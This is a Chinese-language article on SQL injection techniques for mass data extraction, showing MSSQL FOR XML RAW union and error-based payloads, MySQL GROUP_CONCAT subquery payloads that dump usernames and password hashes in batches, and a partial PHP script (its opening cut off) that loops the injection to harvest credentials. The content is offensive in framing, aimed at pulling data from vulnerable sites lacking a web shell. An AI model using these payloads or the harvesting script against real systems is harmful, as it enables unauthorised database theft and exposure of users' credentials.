SQL注入中获取数据的一些技巧分析

一、MSSQL 数据库批量数据提取方案

在 MSSQL 数据库的批量数据提取场景中，FOR XML RAW 是一种经典且高效的技术方案，就连早期的 MSSQL 2000 版本也能良好兼容。无论是通过 UNION SELECT 进行联合查询，还是利用显错式注入机制，该方法均可稳定实现数据获取。以 MSSQL 2005 环境为例：

select username from members where 1=2 union select top 3 username from members for xml raw

执行后将返回以下格式的 XML 数据（若存在重复用户名，系统会自动去重）：

另一种常见的显错注入实现方式如下：

select username from members where 1=(select top 3 username from members for xml raw)

数据库在类型转换时会触发错误提示，同时将查询结果一并输出：

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value '' to data type int.

因此，在面对数据量庞大、缺乏 WebShell 但存在 SQL 注入漏洞的场景时，采用 FOR XML RAW 语句进行批量数据提取是行之有效的策略。为确保查询稳定性，建议结合 TOP 关键词对单次获取的数据量进行限制，例如每次提取 100 条记录，以避免因数据量过大而导致的意外错误。后续只需通过脚本或程序对返回的 XML 格式字符串进行解析即可完成数据收集。

二、MySQL 数据库批量数据提取技巧

在 MySQL 数据库中，GROUP_CONCAT() 函数自 4.1 版本起便成为数据聚合的常用工具。多数开发者熟悉其用于一次性获取表名或列名等元数据的场景，但事实上，该函数同样适用于批量注入与业务数据的高效提取，能大幅提升数据获取效率。

需注意的是，GROUP_CONCAT() 在与 LIMIT 子句直接配合时可能出现限制失效的情况，这通常是因为聚合操作优先于分页执行。此时函数会尝试一次性读取大量数据（读取上限受 group_concat_max_len 系统变量控制，默认仅为 1024 字节），而对于大多数实际业务表而言，数据量远超此阈值。若无法与 LIMIT 协同工作，如何实现数据分批提取呢？

实际上，只需对 SQL 语句结构进行简单调整，即可让两者协同运作：

select concat(group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c)) from (select * from members limit 0,3) A

执行后将返回如下格式的字符串：

guest|||admin|||oldjun:084e0343a0486ff05530df6c705c8bb4|||21232f297a57a5a743894a0e4a801fc3|||ad392a36c512176545900fd05772cbc6

通过此方法，只需对结果字符串进行简单分割，即可清晰获得前三条记录信息。为控制单次响应数据量，建议将每次查询的数据条数限制在 100 条以内，这样既保证效率，又避免因数据过长引发传输或解析问题。

三、MySQL GROUP_CONCAT 批量数据获取示例代码（每次提取 50 条）

以下提供一个基于 PHP 的脚本示例，展示如何通过分批查询实现大数据量提取：

>>>>>>>>>#', $resp, $value);
        if($value){
            $namearr=explode("|||",$value[1]);
            $passarr=explode("|||",$value[2]);
            for($j=0;$j<50;$j++){
                echo $namearr[$j]."|||".$passarr[$j]."\r\n";
            }
            unset($namearr);
            unset($passarr);
        }else{
            echo $resp;
            echo "value error,return $i\r\n";
            getdata($i);
        }
    }
    else{
        echo "resp error,return $i\r\n";
        getdata($i);
    }
}
function send($i)
{
    $limit=$i*50;
    //此处省略具体的HTTP请求发送代码
    //注入语句示例：union select 1,2,3,4,CONCAT(0x3C3C3C3C3C3C3C3C3C3C,group_concat(A.username separator 0x7c7c7c),0x3a,group_concat(A.password separator 0x7c7c7c),0x3E3E3E3E3E3E3E3E3E3E) FROM (select * from members limit ".$limit.",50) A#
}
?>